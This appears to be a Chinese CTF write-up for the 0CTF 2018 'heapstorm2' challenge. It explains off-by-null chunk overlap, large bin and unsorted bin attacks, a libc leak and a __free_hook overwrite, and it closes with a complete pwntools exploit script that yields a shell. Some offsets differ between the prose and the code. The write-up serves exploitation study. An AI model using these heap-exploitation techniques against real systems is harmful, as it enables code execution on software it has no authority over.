0ctf2018_heapstorm2 wp

题目概述

主要参考这个 Sakuraのblog

流程就是 mallpt 关闭 fastbin 分配,mmap 一块内存,用随机数初始化,然后在上面放结构体数组,这意味着如果要 malloc 到数组上修改指针的话,chunk size 的M标志位要为1。

程序功能有 allocate,update,delete,view,分配的 size 要大于 12 小于 4096 ,update 中存在一个 off by null,delete 没有 UAF,view 要求 mmap 地址上的数据满足一个条件,所以大体的思路是要有:任意地址写任意数,然后利用 off by null 构造堆块重叠改函数指针。

步骤分解

off by null

就是很常规的手法,申请一个大块,两头夹一个小块,伪造加的下一个块的 prev_size 绕过 unlink 的检查:

    alloc(0x18)  #0
    alloc(0x508) #1
    alloc(0x18)  #2
    update(1, b'a' * 0x4f0 + p64(0x500))

free 掉大块 1,用 off by null 改 free chunk 的 size 最后一个字节为 00 ,在 1 里申请两个块让 3 居中:

    free(1)
    update(0, b'a' * (0x18 - 12))
    alloc(0x18)  #1
    alloc(0x4d8) #3

free 掉 1 和 2 进行 unlink 合并,再次分配 1 和 2 时, 2 的头部已经在 3 的数据区,3 的头部在 1 的数据区:

    free(1)
    free(2) # 1 merge with 2
    alloc(0x38)  #1
    alloc(0x4e8) #2

同理再次实现一次上述操作后通过 malloc 和 free ,实现一个较大的块在 unsorted bin 中,一个稍小的块在 large bin 中。

large bin attack

要满足 view 的条件,我们需要在 0x13370800 附近伪造一个 fake chunk ,考虑到后续 unsorted bin attack 申请这个 fake chunk ,我们需要 large bin attack 伪造这个 fake chunk 的 size 位:

    array = 0x13370800
    fake_chunk = array - 0x20
    # 对 large bin 中的块:
    payload = p64(0) * 4 
    payload += p64(0) + p64(0x4f1) #size
    payload += p64(0) + p64(fake_chunk + 8) #bk
    payload += p64(0) + p64(fake_chunk - 0x18 + 5) #bk_nextsize
    update()

此时 large bin 中的块已被修改,最后的 fake_chunk - 0x18 + 5 可以刚好让的 fake chunk 的 size 域被写入堆地址的最高非零字节,由于开启了 aslr ,并且申请的块在 mmap 里,需要 chunk 的 m 位为 1,所以堆块地址要以 0x56开头,这样才能用 alloc(0x48) 申请一个 0x50 大小的块。

unsorted bin into mmap

改 unsorted bin chunk 的 bk 为 fake chunk 地址,申请堆块时先把 chunk 放入 large bin 造成 large bin attack,然后再申请 fake chunk ,只有一定的成功率:

    payload = p64(0) * 2
    payload += p64(0) + p64(0x4f1) #size
    payload += p64(0) + p64(fake_chunk) #bk
    update()
    try:
        alloc(0x48)
    except EOFError:
        p.close()
        continue

泄露 libc ,改 __free_hook

利用申请到的 mmap 上的堆块,update 改随机数为 0 和 0x13377331,并把数组中存放的堆块指针改成数组地址和 large bin attack 写入的堆块地址,泄露 libc ,改 free_hook 为 one_gadget 。

EXP

from pwn import *
context.log_level = 'debug'

def alloc(size):
    p.sendline('1')
    p.recvuntil('Size: ')
    p.sendline(str(size))
    p.recvuntil('Command: ')

def update(idx, content):
    p.sendline('2')
    p.recvuntil('Index: ')
    p.sendline('%d' % idx)
    p.recvuntil('Size: ')
    p.sendline('%d' % len(content))
    p.recvuntil('Content: ')
    p.send(content)
    p.recvuntil('Command: ')

def free(idx):
    p.sendline('3')
    p.recvuntil('Index: ')
    p.sendline('%d' % idx)
    p.recvuntil('Command: ')

def view(idx):
    p.sendline('4')
    p.recvuntil('Index: ')
    p.sendline('%d' % idx)
    mes = p.recvuntil('Command: ')
    pos1 = mes.find(b']: ') + len(']: ')
    pos2 = mes.find(b'\n1. ')
    return mes[pos1:pos2]

while True:
    p = process('./0ctf_2018_heapstorm2')
    libc = ELF('./libc-2.23.so')
        
    p.recvuntil('Command: ')

    alloc(0x18)     #0
    alloc(0x508)    #1
    alloc(0x18)     #2
    update(1, b'a' * 0x4f0 + p64(0x500)) 

    alloc(0x18)     #3
    alloc(0x508)    #4
    alloc(0x18)     #5
    update(4, b'a' * 0x4f0 + p64(0x500)) 
    alloc(0x18)     #6

    free(1)
    update(0, b'a' * (0x18 - 12))    #off-by-one
    alloc(0x18)     #1
    alloc(0x4d8)    #7
    free(1)
    free(2)         
    alloc(0x38)     #1
    alloc(0x4e8)    #2

    free(4)
    update(3, b'a' * (0x18 - 12))    #off-by-one
    alloc(0x18)     #4
    alloc(0x4d8)    #8
    free(4)
    free(5)   
    alloc(0x48)     #4

    free(2)
    alloc(0x4e8)    #2
    free(2)

    array = 0x13370800
    fake_chunk = array - 0x20

    payload = p64(0) * 2 
    payload += p64(0) + p64(0x4f1)           #size
    payload += p64(0) + p64(fake_chunk)      #bk
    update(7, payload)

    payload = p64(0) * 4 
    payload += p64(0) + p64(0x4e1)               #size
    payload += p64(0) + p64(fake_chunk+8)        #bk
    payload += p64(0) + p64(fake_chunk-0x18-5)   #bk_nextsize
    update(8, payload)

    try:
        alloc(0x48)     #2
    except EOFError:
        p.close()
        continue

    payload = p64(0)*2 + p64(0) + p64(0) + p64(0) + p64(0x13377331) + p64(array)
    update(2, payload)

    payload = p64(0) + p64(0) + p64(0) + p64(0x13377331) + p64(array) + p64(0x1000) + p64(array - 0x20 + 3) + p64(8)
    update(0, payload)
    heap = u64(view(1))

    payload = p64(0) + p64(0) + p64(0) + p64(0x13377331) + p64(array) + p64(0x1000) + p64(heap + 0x10) + p64(8)
    update(0, payload)
    unsorted_bin = u64(view(1))
    
    libc_base = unsorted_bin - 0x3c4b78
    free_hook = libc_base + libc.symbols['__free_hook']
    one_gadget = libc_base + 0x4527a

    payload = p64(0) + p64(0) + p64(0) + p64(0x13377331) + p64(array) + p64(0x1000) + p64(free_hook) + p64(0x100)
    update(0, payload)
    update(1, p64(one_gadget))
    
    p.sendline('3')
    p.recvuntil('Index: ')
    p.sendline('2')
    break

p.interactive()
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值